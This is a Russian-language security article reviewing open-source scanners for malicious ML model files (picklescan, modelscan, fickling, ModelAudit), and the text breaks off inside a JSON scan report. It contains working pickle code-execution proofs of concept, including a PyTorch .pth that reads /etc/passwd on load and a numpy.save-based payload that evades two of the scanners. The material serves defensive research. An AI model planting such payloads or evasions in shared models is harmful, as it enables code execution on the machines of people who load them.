Не у всех нас имеется достаточное количество ресурсов (вычислительных, умственных и других) для проектирования и обучения ML-моделей с нуля. Поэтому кажется логичным взять уже готовые модели — к счастью, за нас многое уже сделано. Для понимания масштаба: на одном только HF (репозиторий Hugging Face) уже доступно для скачивания более двух миллионов моделей.
Не все они были загружены авторитетными компаниями или экспертами, не все имеют десятки тысяч скачиваний в сутки. Даже изначально легитимные открытые репозитории могут оказаться источником риска. Компания Mitiga недавно поделилась статистикой о проценте репозиториев в мире ML, содержащих уязвимости критического или высокого уровня опасности в GitHub Actions Workflows.

Меня зовут Вячеслав Мосин, я учусь в магистратуре AI Talent Hub в ИТМО, прохожу практику в лаборатории ITMO AI Security Lab и работаю в Positive Technologies в отделе экспертизы MaxPatrol VM. В этой статье я расскажу о том, какие существуют инструменты для проверки ML-моделей, как они сканируют артефакты различных ML-фреймворков, о том, какой еще функционал заложен в них. А в финале несколькими способами попробуем обойти проверки рассматриваемых инструментов.
Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите личной информации в Интернете. Автор не несет ответственности за использование информации.
Компания OWASP в своем топе угроз Top 10 for LLM упоминает риск отравления данных или моделей в нескольких главах: «LLM03:2025 Supply Chain» и «LLM04: Data and Model Poisoning». Упомянутый документ ссылается на следующую модель угроз для LLM:

Инструменты, описанные в статье, помогают снизить риски, связанные с загрузкой отравленных моделей и данных (T05 и T06 в таблице угроз на рисунке), за счет проверки содержимого артефактов хранения моделей машинного обучения.
Хочется сказать просто – их много.
Чтобы увидеть полную картину, можно заглянуть в репозиторий trailofbits/ml-file-formats – в нем приведен список более 50 форматов, хотя сам он не обновлялся уже более года.
Останавливаться на разборе каждого из форматов не будем – это выходит за рамки статьи, стоит отметить, что основной угрозой являются форматы, при загрузке допускающие выполнение кода, который можно заранее в них внедрить. Чаще всего в контексте этого говорится об артефактах протокола сериализации Pickle (файлы имеют расширение .pkl) и о тех, которые базируются на нем, например:
фреймворк PyTorch использует форматы хранения .pt, .pth, .ckpt, .bin, которые представляют собой архивированные pickle-объекты
библиотека Joblib оперирует своим расширением .joblib, но внутри по-прежнему pickle-объекты, но поверх него добавлен свой слой логики и формат хранения
NumPy - внутри .npy, .npz снова используются объекты формата pickle
Хороший пример приоритезации форматов хранения моделей по уровню риска от их использования представлен в документации сканера modelaudit.
В качестве основного подопытного формата сериализации для статьи был выбран Pickle по нескольким причинам: во-первых, как уже отмечалось, многие популярные фреймворки из мира ML используют Pickle внутри своих форматов хранения; во-вторых, при помощи Pickle не составляет большого труда собрать такой файл, который выполнит произвольный код при десериализации – это повышает важность сканирования Pickle-файлов и упрощает эксперименты.
Итак, Pickle – протокол для сериализации и десериализации объектов Python, в контексте Pickle часто используются термины «pickling» – процесс конвертации объекта в байтовый поток, а через «unpickling» обозначается обратная операция.
Какие типы данных можно «пиклить»: встроенные константы, числа, строки, байты и их массивы, картежи, списки, словари; с некоторыми ограничениями – функции, классы и их экземпляры. Подробнее можно почитать в документации.
Пример сериализации и десериализации:
import pickle
pickled = pickle.dumps(['for', 'pickling', 'test'])
unpickled = pickle.loads(pickled)
print(f"pickled: '{pickled}'")
print(f"unpickled: '{unpickled}'")
>>> pickled: 'b'\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x03for\x94\x8c\x08pickling\x94\x8c\x04test\x94e.''
>>> unpickled: '['for', 'pickling', 'test']'Следует учитывать, что результатом pickling является сохраненный в памяти специфическим образом закодированный набор операций для восстановления оригинальной структуры объекта вместе с исходными данными.
В большинстве случаев нет необходимости вмешиваться в процессы сериализации и обратного преобразования, но такая возможность заложена в Pickle. Например, метод __reduce__ позволяет в процессе десериализации обратиться к вызываемому объекту (callable object) и передать в него аргументы.
Простейший пример использования __reduce__ c полезной нагрузкой в виде записи в произвольные файлы на системе приведен ниже:
import pickle
import os
class Malicious:
def __reduce__(self):
cmd = 'echo "HACKED" > /tmp/hacked'
return os.system, (cmd,)
malicious_payload = Malicious()
with open('exploit_os_system.pkl', 'wb') as f:
pickle.dump([malicious_payload], f)
with open('exploit_os_system.pkl', 'rb') as f:
data = pickle.load(f)Почитать про опасность использования Pickle можно в следующих статьях:
Как уже отмечалось, при загрузке файлов в репозитории Hugging Face выполняются проверки этих файлов, в том числе и статическими сканерами моделей ИИ (HF для этого использует встроенный сканер JFrog, modelscan от Protect AI и собственный инструмент под названием picklescan).
В этой части статьи приводится обзор основных на сегодняшний день статических сканеров моделей ИИ с открытым исходным кодом:
picklescan
modelscan
fickling
ModelAudit
Репозиторий: https://github.com/mmaitre314/picklescan
Примитивный сканер, разрабатываемый Hugging Face, логика его работы основана на применении паттерновых проверок для названий загружаемых модулей. Очевидно, что невозможно разработать проверки для всех возможных модулей (на текущий момент к опасным отнесено около 70 глобальных имен, это определено переменной _unsafe_globals в файле scanner.py), которые могут использоваться во вредоносных целях, поэтому эффективность сканера весьма ограничена.
На вход принимает файлы в форматах:
numpy: ".npy"
pytorch: ".bin", ".pt", ".pth", ".ckpt"
pickle: ".pkl", ".pickle", ".joblib", ".dat", ".data"
zip: ".zip", ".npz", ".7z"
Для файлов всех форматов применяется единая логика:
Внутри файла или архива происходит поиск данных, сериализованных по протоколу Pickle
Из найденных данных извлекаются глобальные имена (_list_globals)
Если какое-то глобальное имя совпадает с паттерном из _unsafe_globals, то глобальное имя сохраняется в список сработок с уровнем опасности SafetyLevel.Dangerous
В случае если обрабатываемое глобальное имя не попадает ни под один из фильтров (safe_filter или unsafe_filter), то оно добавляется в список сработок с отдельным уровнем опасности SafetyLevel.Suspicious (другие уровни: Innocuous, Dangerous)
Посмотрим на работу picklescan на практике, для этого при помощи следующего кода создадим пример «зловреда», позволяющего производить запись в произвольные файлы на системе во время десериализации:
import pickle
import os
class Malicious:
def __reduce__(self):
cmd = 'echo "HACKED" > /tmp/hacked'
return os.system, (cmd,)
malicious_payload = Malicious()
with open('exploit_os_system.pkl', 'wb') as f:
pickle.dump([malicious_payload], f)
with open('exploit_os_system.pkl', 'rb') as f:
pickle.load(f)Отчет picklescan о результате проверки «exploit_os_system.pkl»:
$ picklescan --globals --path .\exploit_os_system.pkl
\...\exploit_os_system.pkl: dangerous import 'posix system' FOUND
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 1
Dangerous globals: 1
All globals found:
* posix.system - dangerousДругие интересные моменты, связанные с использованием picklescan:
Документация ограничена файлом README
Доступно сканирование файлов в удаленных репозиториях HuggingFace
Для сканера задокументированы коды завершения (exit codes)
0: scan did not find malware
1: scan found malware
2: scan failed
Флаг -g/--globals позволяет выводить полученные глобальные имена из сканируемого файла
Репозиторий: https://github.com/protectai/modelscan
Инструмент компании Protect AI поддерживает проверку артефактов фреймворков PyTorch, TensorFlow, Keras, Sklearn и XGBoost. Принцип работы прост: получая на вход путь к директории или файлу, формируется список артефактов для проверки, к каждому из них применяется проверка всеми сканерами.
Рассмотрим механику работы некоторых встроенных сканеров.
Сканирование артефактов Pickle при помощи modelscan
Код проверки: /modelscan/scanners/pickle/scan.py#L72
Получение из файла всех глобальных имен
Сопоставление со словарём потенциально опасных импортов, стоит отметить, что сам словарь довольно компактен (/modelscan/settings.py#L94)
Если какое-то глобальное имя, полученное из анализируемого файла, совпало с одним из _unsafe_globals , то сработка сохраняется для формирования итогового отчета.
Сканирование артефактов Pytorch при помощи modelscan
Код проверки: /modelscan/scanners/pickle/scan.py#L17
Изначально казалось, что нет смысла отдельно разбирать процесс сканирования артефактов фреймворка Pytorch, ведь, наверное, здесь все аналогично picklescan — если встретили архив, то распаковываем его и ищем интересные для сканирования файлы. Однако интуиция подвела — если файл имеет расширение, к примеру, .pth и представляет собой zip-архив, то его сканирование просто пропускается.

Данная логика реализована в файле /modelscan/scanners/pickle/scan.py, ниже представлена его часть:
class PyTorchUnsafeOpScan(ScanBase):
def scan(
self,
model: Model,
) -> Optional[ScanResults]:
if SupportedModelFormats.PYTORCH.value not in [
format_property.value for format_property in model.get_context("formats")
]:
return None
# ПРОПУСКАЕМ АРХИВ
if _is_zipfile(model.get_source(), model.get_stream()):
return None
results = scan_pytorch(
model=model,
settings=self._settings,
)
return self.label_results(results)Приведенный ниже скрипт создает файл .pth с полезной нагрузкой для вывода первых трех строк файла /etc/passwd на хосте в процессе десериализации:
import torch
import dill
def run_cmd(cmd):
import builtins
module = getattr(builtins, '__import__')('os')
getattr(module, 'system')(cmd)
class Exploit:
def __reduce__(self):
return (run_cmd, ("cat /etc/passwd | head -3",))
model = torch.nn.Linear(1, 1)
exploit = Exploit()
torch.save({'model': model, 'exploit': exploit}, 'malicious.pth', pickle_module=dill)Скрипт собирает артефакт malicious.pth, попробуем загрузить его:
>>> import torch
>>> import dill
>>> torch.load('malicious.pth', pickle_module=dill)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
{'model': Linear(in_features=1, out_features=1, bias=True), 'exploit': None}Как видно, полезная нагрузка работает. Теперь просканируем файл malicious.pth при помощи modelscan:
$ modelscan scan -p malicious.pth
No settings file detected at .../torch_not_obfuscated/modelscan-settings.toml. Using defaults.
Scanning .../torch_not_obfuscated/malicious.pth:malicious/data.pkl using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
No issues found! 🎉
--- Skipped ---
Total skipped: 7 - run with --show-skipped to see the full list.Согласно отчету, инструмент в процессе работы определил, что внутри архива существует файл data.pkl, но обработал это благодаря модулю PickleUnsafeOpScan, а специфичный для PyTorch модуль сработку не выдал.
Данный пример подсвечивает необходимость практического исследования возможностей таких сканеров перед внедрением в промышленную эксплуатацию, не основываясь только на декларируемых возможностях в описаниях проектов.
Репозиторий: https://github.com/trailofbits/fickling
Подписания инструмента из README проекта:
Fickling — это декомпилятор, статический анализатор и «bytecode rewriter» для сериализованных объектов Python в формате pickle. С помощью Fickling вы можете обнаруживать, анализировать, проводить реверс-инжиниринг или даже создавать зловредные файлы pickle или файлы, основанные на pickle, включая форматы PyTorch.
Сериализованные объекты Python на самом деле представляют собой байткод, который интерпретируется встроенной в Python «stack-based virtual machine» под названием «Pickle Machine». Fickling может принимать потоки данных pickle и декомпилировать их в читабельный Python-код, который при выполнении десериализует объект в исходный сериализованный вид. Это стало возможным благодаря кастомной реализации «Pickle Machine» в Fickling. Fickling безопасен для запуска на потенциально вредоносных файлах, поскольку его PM выполняет код символически, без его запуска напрямую.
Советую самостоятельно изучить README, в нем описаны и другие фичи продукта, в число которых входит:
использование сканера как фильтра загружаемых кодом моделей через хуки
распознание, валидация и создание файлов-полиглотов на базе разных версий форматов хранения PyTorch.
Практическое знакомство с инструментом предлагаю начать с чего-то экзотического — с чего-то такого, что не смогли продемонстрировать рассмотренные ранее сканеры. Возможность трейсирования виртуальной машины Pickle подходит для этого.
Чаще всего для статического анализа файлов pickle используется встроенный в стандартную библиотеку Python дизассемблер под названием pickletools (например, уже упоминавшийся сканер «picklescan» в процессе своей работы использует именно pickletools — /picklescan/scanner.py#L256).
Далее проанализируем разбор уже упоминавшегося примера зловредного pickle-файла силами fickling --trace в сравнении с pickletools.

Код сборки «зловредного» pickle:
import pickle
import os
class Malicious:
def __reduce__(self):
cmd = 'echo "HACKED" > /tmp/hacked'
return os.system, (cmd,)
malicious_payload = Malicious()
with open('exploit_os_system.pkl', 'wb') as f:
pickle.dump([malicious_payload], f)
with open('exploit_os_system.pkl', 'rb') as f:
pickle.load(f)Отчет pickletools (флаг -a добавляет аннотации, кратко описывающие каждый опкод):
$ python -m pickletools -a exploit_os_system.pkl
0: \x80 PROTO 4 Protocol version indicator.
2: \x95 FRAME 57 Indicate the beginning of a new frame.
11: ] EMPTY_LIST Push an empty list.
12: \x94 MEMOIZE (as 0) Store the stack top into the memo. The stack is not popped.
13: \x8c SHORT_BINUNICODE 'posix' Push a Python Unicode string object.
20: \x94 MEMOIZE (as 1) Store the stack top into the memo. The stack is not popped.
21: \x8c SHORT_BINUNICODE 'system' Push a Python Unicode string object.
29: \x94 MEMOIZE (as 2) Store the stack top into the memo. The stack is not popped.
30: \x93 STACK_GLOBAL Push a global object (module.attr) on the stack.
31: \x94 MEMOIZE (as 3) Store the stack top into the memo. The stack is not popped.
32: \x8c SHORT_BINUNICODE 'echo "HACKED" > /tmp/hacked' Push a Python Unicode string object.
61: \x94 MEMOIZE (as 4) Store the stack top into the memo. The stack is not popped.
62: \x85 TUPLE1 Build a one-tuple out of the topmost item on the stack.
63: \x94 MEMOIZE (as 5) Store the stack top into the memo. The stack is not popped.
64: R REDUCE Push an object built from a callable and an argument tuple.
65: \x94 MEMOIZE (as 6) Store the stack top into the memo. The stack is not popped.
66: a APPEND Append an object to a list.
67: . STOP Stop the unpickling machine.
highest protocol among opcodes = 4Отчет fickling --trace:
$ fickling --trace .\exploit_os_system.pkl
PROTO
FRAME
EMPTY_LIST
Pushed []
MEMOIZE
Memoized 0 -> []
SHORT_BINUNICODE
Pushed 'posix'
MEMOIZE
Memoized 1 -> 'posix'
SHORT_BINUNICODE
Pushed 'system'
MEMOIZE
Memoized 2 -> 'system'
STACK_GLOBAL
from posix import system
Popped 'system'
Popped 'posix'
Pushed system
MEMOIZE
Memoized 3 -> system
SHORT_BINUNICODE
Pushed 'echo "HACKED" > /tmp/hacked'
MEMOIZE
Memoized 4 -> 'echo "HACKED" > /tmp/hacked'
TUPLE1
Popped 'echo "HACKED" > /tmp/hacked'
Pushed ('echo "HACKED" > /tmp/hacked',)
MEMOIZE
Memoized 5 -> ('echo "HACKED" > /tmp/hacked',)
REDUCE
_var0 = system('echo "HACKED" > /tmp/hacked')
Popped ('echo "HACKED" > /tmp/hacked',)
Popped system
Pushed _var0
MEMOIZE
Memoized 6 -> _var0
APPEND
Popped _var0
STOP
result0 = [_var0]
Popped [_var0]
from posix import system
_var0 = system('echo "HACKED" > /tmp/hacked')
result0 = [_var0]В отчете Fickling помимо вывода последовательности символическего выполнения кода, демонстрируется еще и более человекочитаемый формат представления данных внутри Pickle – в виде кода на Python. Благодаря такому декомпилированию fickling --trace выигрывает в сравнении с pickletools в интерпретируемости результата.
Рассмотрев трассировку ВМ Pickle, вернёмся к проверке файлов на наличие «зловреда». Стоит отметить, что данный инструмент поддерживает проверку только тех данных, которые сериализованы по протоколу Pickle.
Сканирование происходит по следующему алгоритму:
Загрузка файла и его парсинг
Основная функциональность на данном шаге представлена в методе load класса Pickled в файле /fickling/fickle.py#L766, в нем реализован цикл прохода по всем опкодам анализируемого pickle-файла, для каждого опкода инструмент собирает следующий набор данных:
info – объект класса OpcodeInfo, в себя включает атрибуты, обозначающие имя и код опкода, аргумент, состояние стека до и после выполнения опкода, версия протокола Pickle в которой был добавлен опкод, человекочитаемое описание для опкода
argument – аргумент опкода
data – сырые байты опкода, включающие его код и аргумент (если есть)
position – позиция опкода
Проверка загруженных данных несколькими анализаторами
На момент написания статьи в сканере используется восемь анализаторов (/fickling/analysis.py). Рассмотрим предназначение каждого из них:
DuplicateProtoAnalysis – обнаруживает дублирующиеся опкоды PROTO, что нетипично для легитимных pickle-файлов и может указывать на модификацию;
MisplacedProtoAnalysis – проверяет, что PROTO опкод находится в начале файла (требование для версий ≥2), нарушение может быть признаком подделки;
NonStandardImports – выявляет импорты модулей, не входящих в стандартную библиотеку Python, что потенциально опасно;
UnsafeImportsML – детектирует импорты известных опасных модулей (os, subprocess, builtins) и функций (eval, torch.load), используя предопределённый список угроз;
BadCalls – ищет прямые вызовы критически опасных функций (exec, eval, compile, open);
OvertlyBadEvals – анализирует все вызовы функций (кроме setstate), выявляя явно вредоносные (eval, exec) и потенциально небезопасные вызовы;
UnsafeImports – использует метод pickled.unsafe_imports() для поиска подозрительных импортов из базового набора опасных модулей;
UnusedVariables – находит переменные, которым присвоены значения, но они нигде не используются; такое поведение подозрительно и может скрывать вредоносный код.
Сохранение результата
Сканирование на практике выполним при помощи созданного ранее exploit_os_system.pkl:
$ fickling --check-safety .\...\exploit_os_system.pkl
$ cat safety_results.json
{
"severity": "LIKELY_OVERTLY_MALICIOUS",
"analysis": "`from posix import system` uses `posix` that is indicative of a malicious pickle file. This module contains functions that can perform system operations and execute arbitrary code.\n`from posix import system` is suspicious and indicative of an overtly malicious pickle file\nVariable `_var0` is assigned value `system(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file",
"detailed_results": {
"AnalysisResult": {
"UnsafeImportsML": "from posix import system",
"UnsafeImports": "from posix import system",
"UnusedVariables": [
"_var0",
"system(...)"
]
}
}
}Подготовленный «зловред» получил почти максимальную оценку опасности – Likely Overtly Malicious, список всех severity-меток представлен ниже (/fickling/analysis.py#L69):
class Severity(Enum):
LIKELY_SAFE = (0, "No Unsafe Operations Discovered")
POSSIBLY_UNSAFE = (1, "Possibly Unsafe")
SUSPICIOUS = (2, "Suspicious")
LIKELY_UNSAFE = (3, "Likely Unsafe")
LIKELY_OVERTLY_MALICIOUS = (4, "Likely Overtly Malicious")
OVERTLY_MALICIOUS = (5, "Overtly Malicious")Вывод по Fickling:
Инструмент представляет собой интересное решение, включающее проверки, отсутствующие у ранее рассмотренных сканерах. Его логика основана на собственной реализации виртуальной машины Pickle, а функциональность выходит за рамки сканирования файлов.
Обзор сканеров завершает ModelAudit, являющийся компонентом более объемного инструмента для тестирования приложений на базе LLM под названием promptfoo.
Среди прочих сканеров ModelAudit сразу выделяется документацией – удивляет не только ее наличие, но и ее объем и качество. Ссылки на документацию:
На данный момент сканер поддерживает работу с артефактами следующих фреймворков и расширений:
PyTorch (.pt, .pth, .bin), TensorFlow SavedModel (.pb, directories), TensorFlow Lite (.tflite), TensorRT (.engine, .plan), Keras (.h5, .keras, .hdf5), ONNX (.onnx), SafeTensors (.safetensors), GGUF/GGML (.gguf, .ggml, .ggmf, .ggjt, .ggla, .ggsa), Flax/JAX (.msgpack, .flax, .orbax, .jax), JAX Checkpoints (.ckpt, .checkpoint, .orbax-checkpoint), Pickle (.pkl, .pickle, .dill), Joblib (.joblib), NumPy (.npy, .npz), PMML (.pmml), ZIP Archives (.zip), Container Manifests (.manifest), Binary Files (.bin)
Ознакомиться с тем, какие проверки выполняются для каждого формата, можно в документации на странице ModelAudit Scanners.
В ходе валидации файла сканер выполняет разные проверки для поиска проблем безопасности, ниже представлены некоторые из них:
Malicious Code: Обнаружение потенциально опасного кода в pickled-моделях
Suspicious Operations: Идентификация рискованных операций TensorFlow и пользовательских операторов ONNX
Unsafe Layers: Поиск потенциально небезопасных слоёв Keras Lambda
Blacklisted Names: Проверка моделей с именами, совпадающими с подозрительными шаблонами
Dangerous Serialization: Обнаружение небезопасных pickle-операций, вложенных pickle-объектов и цепочек «decode-exec»
Enhanced Dill/Joblib Security: Расширенное ML-сканирование с проверкой формата и защитой от обхода ограничений
Encoded Payloads: Поиск подозрительных строк, которые могут указывать на скрытый код
Risky Configurations: Обнаружение опасных настроек в архитектуре моделей
XML Security: Обнаружение XXE-атак и вредоносного содержимого в PMML-файлах
Embedded Executables: Поиск встроенных исполняемых файлов (Windows PE, Linux ELF, macOS Mach-O)
Container Security: Сканирование файлов моделей внутри контейнерных слоёв OCI/Docker
Compression Attacks: Обнаружение zip-бомб и атак, связанных с распаковкой
Weight Anomalies: Статистический анализ для выявления потенциальных бэкдоров
Format Integrity: Проверка целостности структуры файлового формата
License Compliance: Обнаружение ограничений лицензий (например, AGPL) и коммерческих ограничений
DVC Integration: Автоматическое определение и сканирование моделей, отслеживаемых через DVC
Secrets Detection: Поиск встроенных API-ключей, токенов и учётных данных
Network Analysis: Обнаружение URL, IP и сетевого взаимодействия, которое может привести к утечке данных
JIT Code Detection: Сканирование TorchScript, пользовательских операций ONNX и другого JIT-компилированного кода
На момент написания статьи github репозиторий modelaudit при обращении выдает ошибку и является недоступным. Но для просмотра исходного кода достаточно установить modelaudit при помощи pip install modelaudit[all] и далее найти директорию Lib\site-packages\modelaudit\ внутри активного виртуального окружения Python, в ней находятся все исходники.
Кодовая база инструмента имеет следующую структуру (взято из карточки проекта на портале PyPI):
modelaudit/
├── scanners/ # 29 specialized file format scanners
│ ├── pickle_scanner.py, pytorch_*.py, onnx_scanner.py, etc.
│ └── base.py - BaseScanner class with shared functionality
│
├── detectors/ # Security threat detection modules
│ ├── cve_patterns.py - Known CVE patterns (CVE-2025-32434, etc.)
│ ├── secrets.py - API keys, tokens, credentials
│ ├── jit_script.py - JIT/TorchScript malicious code
│ ├── network_comm.py - URLs, IPs, sockets
│ └── suspicious_symbols.py - Dangerous function calls
│
├── integrations/ # External system integrations
│ ├── jfrog.py - JFrog Artifactory support
│ ├── mlflow.py - MLflow registry support
│ ├── sbom_generator.py - CycloneDX SBOM generation
│ ├── sarif_formatter.py - SARIF output format
│ └── license_checker.py - License compliance
│
├── analysis/ # Advanced analysis algorithms
│ ├── anomaly_detector.py, entropy_analyzer.py
│ └── ml_context_analyzer.py - Context-aware analysis
│
├── utils/
│ ├── file/ # File handling (detection, filtering, streaming)
│ ├── sources/ # Model sources (HuggingFace, cloud, JFrog, DVC)
│ └── helpers/ # Generic utilities (retry, caching, etc.)
│
├── cache/ # Caching system for scan results
├── auth/ # Authentication for remote sources
├── progress/ # Progress tracking and UI
│
├── core.py # Main scanning orchestration
└── cli.py # Command-line interfaceДругие особенности инструмента:
При установке в связке с promptfoo имеет графический интерфейс
Поддерживает сканирование артефактов из удаленных источников (HuggingFace Hub, Amazon S3, Google Cloud Storage и другие), полный список поддерживаемых источников - ссылка
Подходит для интеграции в пайплайны CI/CD, имеет задокументированные коды завершения (exit codes) - ссылка):
0: No security issues found
1: Security issues detected (warnings or critical)
2: Scan errors occurred (installation, file access, etc.)
Из коробки имеет несколько способов установки – при помощи пакетных менеджеров pip и npm или через Docker-контейнер
$ modelaudit scan --format json --output .\exploit_os_system.pkl.json .\exploit_os_system.pkl
...
$ cat .\exploit_os_system.pkl.json
{
"bytes_scanned": 68,
"issues": [
{
"message": "Suspicious reference posix.system",
"severity": "critical",
"location": "< АНОНИМИЗИРОВАНО >\\exploit_os_system.pkl",
"details": {
"module": "posix",
"function": "system",
"opcode": "STACK_GLOBAL",
"ml_context_confidence": 0.0
},
"why": "The 'posix' module provides direct access to POSIX system calls on Unix-like systems. Like the 'os' module, it can execute arbitrary system commands and manipulate the file system. The 'posix.system' function is equivalent to 'os.system' and poses the same security risks.",
"timestamp": 1766475716.6643486,
"type": "pickle_check"
},
{
"message": "Found REDUCE opcode with non-allowlisted global: posix.system. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)",
"severity": "critical",
"location": "< АНОНИМИЗИРОВАНО >\\exploit_os_system.pkl (pos 64)",
"details": {
"position": 64,
"opcode": "REDUCE",
"associated_global": "posix.system",
"cve_id": "CVE-2025-32434",
"ml_context_confidence": 0.0
},
"why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.",
"timestamp": 1766475716.6649423,
"type": "pickle_check"
},
{
"message": "Suspicious module reference found: posix.system",
"severity": "critical",
"location": "< АНОНИМИЗИРОВАНО >\\exploit_os_system.pkl (pos 30)",
"details": {
"module": "posix",
"function": "system",
"position": 30,
"opcode": "STACK_GLOBAL",
"ml_context_confidence": 0.0
},
"why": "The 'posix' module provides direct access to POSIX system calls on Unix-like systems. Like the 'os' module, it can execute arbitrary system commands and manipulate the file system. The 'posix.system' function is equivalent to 'os.system' and poses the same security risks.",
"timestamp": 1766475716.66521,
"type": "pickle_check"
}
],
"checks": [
{
< СОКРАЩЕНО >
}
],
"files_scanned": 1,
"assets": [
{
"path": "< АНОНИМИЗИРОВАНО >\\exploit_os_system.pkl",
"type": "pickle",
"size": 68
}
],
"has_errors": false,
"scanner_names": [],
"file_metadata": {
"< АНОНИМИЗИРОВАНО >\\exploit_os_system.pkl": {
"file_size": 68,
"file_hashes": {
"md5": "0ad312bd0babad43c4f2ee8aa2f35c43",
"sha256": "c8f2b14c6720cea42c0e08f545a05d23a3555eeac42a6574930768d3046f33d4",
"sha512": "5a898e9c8e4db44782857a72c75da2c1809bbe9aade607d1f29aee8fd6c0c1404b5259918a7d469b36c3f7dffe2051e79383b1cf62d66b97361c1698d1878a29"
},
"max_stack_depth": 0,
"opcode_count": 18,
"suspicious_count": 2,
"ml_context": {
"frameworks": {},
"overall_confidence": 0.0,
"is_ml_content": false,
"detected_patterns": [],
"optimization_hints": []
},
"license_info": [],
"copyright_notices": [],
"license_files_nearby": [],
"is_dataset": true,
"is_model": true,
"risk_score": 0.0,
"scan_timestamp": 1766475716.6656933
}
},
"content_hash": "b7898899d10ccf40e66c39c9cf565d818295fa2db01e8b3100512940a4795129",
"start_time": 1766475716.5934618,
"duration": 0.07524228096008301,
"total_checks": 16,
"passed_checks": 13,
"failed_checks": 3,
"success": true
}Вывод по ModelAudit:
Данный сканер имеет самое широкое покрытие разных форматов моделей машинного обучения и для каждого из форматов применяет проверки разных типов. Для инструмента написана подробная документация и подготовлено несколько способов его установки. Среди обозреваемых сканеров именно ModelAudit показался мне самым зрелым инструментом.
Сканеров много, разных проверок внутри них еще больше, теперь посмотрим, так ли сложно их обойти, используя для этого разные техники.
Некоторые сканеры в качестве основного механизма проверки модели используют простую логику – вытягивают из файла список глобальных имен и сверяют его с заранее заготовленным списком потенциально опасных модулей и функций. Очевидно, что злоумышленник может найти такой модуль, который не помечен как опасный, и в процессе своей работы сам выполняет интересный для злоумышленника функционал или вызывает для выполнения опасную функцию (например, для работы с файлом вызывает встроенную в Python функцию open).
У этого способа есть ограничение – в окружении, в котором загружается pickle-файл, должен быть доступен объект, на который ссылается __reduce__ в своем return.
Итак, PoC сборки pickle файла, который в процессе загрузки производит запись в файл "/tmp/hacked.npy":
import pickle
import random
import numpy as np
tabular_data = [
{
"id": i,
"name": f"Item-{i}",
"value": random.randint(1, 100),
"category": random.choice(['A', 'B', 'C'])
}
for i in range(1, 6)
]
class Malicious:
def __reduce__(self):
# ASCII для "HACKED\n"
data = np.array([72, 65, 67, 75, 69, 68, 10], dtype=np.uint8)
return (
np.save,
('/tmp/hacked.npy', data)
)
malicious_payload = Malicious()
with open('bypass_numpy.pkl', 'wb') as f:
pickle.dump([tabular_data, malicious_payload], f)Код загрузки собранного файла:
import pickle
with open('bypass_numpy.pkl', 'rb') as f:
data = pickle.load(f)
print("Loaded data:")
print(data)Загрузка "bypass_numpy.pkl" в окружении с установленным numpy:
(ai_venv) $ pip show numpy | grep Version:
Version: 2.3.5
(ai_venv) $ rm /tmp/hacked.npy
rm: cannot remove '/tmp/hacked.npy': No such file or directory
(ai_venv) $ python load.py
Loaded data:
[[{'id': 1, 'name': 'Item-1', 'value': 98, 'category': 'A'}, {'id': 2, 'name': 'Item-2', 'value': 85, 'category': 'B'}, {'id': 3, 'name': 'Item-3', 'value': 18, 'category': 'B'}, {'id': 4, 'name': 'Item-4', 'value': 41, 'category': 'C'}, {'id': 5, 'name': 'Item-5', 'value': 43, 'category': 'A'}], None]
(ai_venv) $ cat /tmp/hacked.npy
�NUMPYv{'descr': '|u1', 'fortran_order': False, 'shape': (7,), }
HACKEDСводка проверок собранного "bypass_numpy.pkl" всеми сканерами (отчеты сканеров представлены ниже):
Сканер | Найдены ли проблемы | Уровень опасности | Обозначения сработавших проверок |
picklescan | ❌ | ||
modelscan | ❌ | ||
fickling | ✅ | LIKELY_UNSAFE |
|
modelaudit | ✅ | warning, info |
|
Отчет picklescan:
$ picklescan -p .\bypass_numpy.pkl
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0Отчет modelscan:
$ modelscan -p bypass_numpy.pkl
No settings file detected at /.../modelscan-settings.toml. Using defaults.
Scanning /.../bypass_numpy.pkl using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
No issues found! 🎉Отчет fickling:
{
"severity": "LIKELY_UNSAFE",
"analysis": "`from numpy import save` imports a Python module that is not a part of the standard library; this can execute arbitrary code and is inherently unsafe\n`from numpy._core.multiarray import _reconstruct` imports a Python module that is not a part of the standard library; this can execute arbitrary code and is inherently unsafe\n`from numpy import ndarray` imports a Python module that is not a part of the standard library; this can execute arbitrary code and is inherently unsafe\n`from numpy import dtype` imports a Python module that is not a part of the standard library; this can execute arbitrary code and is inherently unsafe\nVariable `_var4` is assigned value `save('/tmp/hacked.npy', _var3)` but unused afterward; this is suspicious and indicative of a malicious pickle file",
"detailed_results": {
"AnalysisResult": {
"NonStandardImports": "from numpy import dtype",
"UnusedVariables": [
"_var4",
"save('/tmp/hacked.npy', _var3)"
]
}
}
}Отчет modelaudit (для краткости удалены проверки, не выдавшие результат){
"bytes_scanned": 360,
"issues": [
{
"message": "Found REDUCE opcode with non-allowlisted global: _reconstruct.ndarray. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)",
"severity": "warning",
"location": "...\\bypass_numpy.pkl (pos 283)",
"details": {
"position": 283,
"opcode": "REDUCE",
"associated_global": "_reconstruct.ndarray",
"cve_id": "CVE-2025-32434",
"ml_context_confidence": 0.135
},
"why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.",
"timestamp": 1766489299.795178,
"type": "pickle_check"
},
{
"message": "STACK_GLOBAL opcode found without sufficient string context",
"severity": "info",
"location": "...\\bypass_numpy.pkl (pos 302)",
"details": {
"position": 302,
"opcode": "STACK_GLOBAL",
"stack_size": 1,
"ml_context_confidence": 0.135
},
"why": "STACK_GLOBAL requires two strings on the stack (module and function name) to import and access module attributes. Insufficient context prevents determining which module is being accessed.",
"timestamp": 1766489299.7956276,
"type": "pickle_check"
}
],
"checks": [
